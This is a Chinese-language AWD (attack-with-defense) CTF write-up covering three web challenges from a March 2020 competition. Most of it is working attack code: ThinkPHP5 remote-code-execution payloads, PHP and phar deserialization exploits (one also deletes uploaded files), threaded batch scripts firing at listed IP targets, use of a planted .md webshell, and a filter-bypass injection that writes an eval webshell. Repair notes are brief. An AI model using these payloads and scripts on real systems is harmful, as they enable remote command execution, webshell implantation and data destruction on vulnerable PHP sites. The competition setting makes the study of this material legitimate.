星盟安全awd复盘20200314
web1
由于忙于其他事情导致web1没有打,直接附上团队兄弟写的wp吧。
1,Thinkphp5rce1
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=cat /flag
这个可以直接打,修复方案如下
在 App.php 的第375行加入一个正则的过滤,即可修复,这个是官方的方法,因为 thinkphp 我比较熟悉所以就直接按
照官方的方法修复了 。
2,thinkphp5rce2
s=cat /flag&_method=__construct&method=&filter[]=system
这个是通过 post 方法进行传值,没有找到官方的修复方案,但事实上上面那个修了以后这个也就修掉了,为了保险起见我还是做了个双保险。在 Request.php 里面粗暴的修复了一下
3,反序列化1
链子还是很简单的,甚至没有链子,直接可以利用,就在入口文件 index.php 中
然后这里简单的反序列化点在 Index.php 中
修复方案,我是直接加了个正则进行替换,把所有字母替换成空,这里就没用了。但想想,这种方法还不如直接把代码删了。
批量利用脚本 :
import requests
import re
from lxml import etree
import time
import threading
iptables = '''39.100.119.37:10180
39.100.119.37:10380
39.100.119.37:10480
39.100.119.37:10580
39.100.119.37:10680
39.100.119.37:10780
39.100.119.37:10880
39.100.119.37:10980
39.100.119.37:11080
39.100.119.37:11180
39.100.119.37:11280
39.100.119.37:11380
39.100.119.37:11480
39.100.119.37:11580
39.100.119.37:11680
39.100.119.37:11780
39.100.119.37:11880
39.100.119.37:11980
39.100.119.37:12080
39.100.119.37:12180
39.100.119.37:12280
39.100.119.37:12380
39.100.119.37:12480'''.split('
')
def find_flag(data):
reg = "flag{(.*?)}"
tmp = re.findall(reg, data)
result = []
for i in tmp:
i = 'flag{'+i+'}'
return i
def ip_log(flag):
f = open('flag1.txt', 'a')
f.write(flag + "
")
f.close()
def attack(ip):
url2 = "http://" + ip + "/?
s=index/index/unse&a=Tzo0OiJDb3JlIjoxOntzOjQ6ImRhdGEiO3M6MjA6InN5c3RlbSgnY2F0IC9mbGFnJyk7Ij
t9"
response = requests.get(url2)
flag = find_flag(response.text)
ip_log(flag)
print(ip, ":", flag)
for ip in iptables:
t = threading.Thread(target=attack, args=(ip, ))
t.start()
phar反序列化漏洞
这里有个上传功能,还有个文件读取功能,用脚趾头想想就知道是 phar反序列化修复方案我直接加了个过滤,把 phar 协议给过滤掉了。
phar脚本
<?php
class Core{
public $data;
public function __construct(){
$this->data="system('cat /flag;rm rm /var/www/html/public/uploads/20200314/*');";
}
} $
obj = new Core();
@unlink("yds.phar");
$phar = new Phar("yds.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Core());
$phar->addFromString("yds.txt", "yds_is_so_beautiful");
$phar->stopBuffering();
rename('yds.phar', 'yds.gif');
批量脚本 :
import requests
import re
from lxml import etree
import time
import threading
from requests import session
iptables = '''39.100.119.37:10180
39.100.119.37:10380
39.100.119.37:10480
39.100.119.37:10580
39.100.119.37:10680
39.100.119.37:10780
39.100.119.37:10880
39.100.119.37:10980
39.100.119.37:11080
39.100.119.37:11180
39.100.119.37:11280
39.100.119.37:11380
39.100.119.37:11480
39.100.119.37:11580
39.100.119.37:11680
39.100.119.37:11780
39.100.119.37:11880
39.100.119.37:11980
39.100.119.37:12080
39.100.119.37:12180
39.100.119.37:12280
39.100.119.37:12380
39.100.119.37:12480'''.split('
')
def find_flag(data):
reg = "flag{(.*?)}"
tmp = re.findall(reg, data)
result = []
for i in tmp:
i = 'flag{'+i+'}'
return i
def ip_log(flag):
f = open('flag1.txt', 'a')
f.write(flag + "
")
f.close()
def attack(ip):
url1 = "http://"+ip+"/index.php/Index/index/upload"
files = {'image': open('yds.gif', 'rb')}
s = session()
response = s.post(url1, files=files)
url2 = "http://"+ip+"/?file=phar://uploads/" + response.text.split('.gif')[0] + '.gif'
response2 = s.get(url2)
flag = find_flag(response2.text)
ip_log(flag)
print(ip, ":", flag)
for ip in iptables:
t = threading.Thread(target=attack, args=(ip, ))
t.start()
web2
1,直接获取flag
漏洞点:login.php
直接访问页面即可查看flag
直接写一个简单的脚本批量即可:
import requests
import re
f = open("ip.txt","r")
for i in f.readlines():
i = i.strip()
url = "http://"+i+"/login.php"
res = requests.get(url)
if 'flag' in res.text:
pattern = re.compile('<input type="hiddent" value=(.*?)>', re.S)
flag = re.findall(pattern, res.text)
print(flag[0].strip())
2,直接获取flag2
漏洞点:admin/index.php
当以admin用户登录时,后台会直接显示flag:
继续批量:因为太晚改了略改了下队友的exp,不是我写exp的风格。
import requests
import re
f = open('ip.txt','r')
data = {
'username': 'admin',
'password': 'mysql'
}
for i in f.readlines():
i = i.strip()
url = "http://" + i
s = requests.Session()
s.post(url + "/login.php", data=data)
r = s.get(url + '/admin/index.php')
if 'flag' in r.text:
pattern = re.compile('(.*)<h2>', re.S)
flag = re.findall(pattern, r.text)
print(flag[0].strip())
web3
1,隐藏后门
这次后门文件是md格式的文件,readme.md文件内容如下:
md格式的文件可以被解析原因是定义了.htaccess文件:文件内容如下:
直接上批量exp了:
import requests
ip = open("ip.txt", "r")
payload = {"1": "system('cat /flag');"}
shell = '/readme.md'
for url in ip:
if 'http://' not in url:
url = 'http://' + url
webshell = url.strip() + shell
try:
res = requests.get(webshell, params=payload, timeout=1)
if res.status_code == 200:
print(webshell + ": " + res.text)
else:
print(webshell + ": " + "shell error")
except:
print(webshell + ": " + "未知错误")
2,命令执行漏洞
漏洞点:common/function.php
虽然加了waf对空格,分号,管道符进行过滤,但是还是可以绕过的。绕过方法很多,给出当时的payload吧:
http://192.168.110.132/common/function.php?1=aaa%0acat%09/flag>v2.txt
命令执行的exp:
说明:有人问我为什么没有过滤&符号但是却不能使用&符号呢,答案是&符号在http协议请求中有特殊函数,服务端在处理请求的时候只获取了第一个参数1的值,所以从&符号之后的数据全部无法获取,我们可以通过将&符号进行url编码为%26进行处理。
http://192.168.110.132/common/function.php?1=127.0.0.1%26%26echo${IFS}'<?php%0aeval($_GET[a]);?>'${IFS}>1.php
批量的方法类似上面。
3,反序列化漏洞
漏洞点:common/home.php
构造exp:
直接访问home.php即可输出exp内容:
直接利用即可输出flag:
http://192.168.110.136/common/home.php?a=O:4:"home":2:{s:6:"method";s:6:"system";s:4:"args";s:9:"cat /flag";}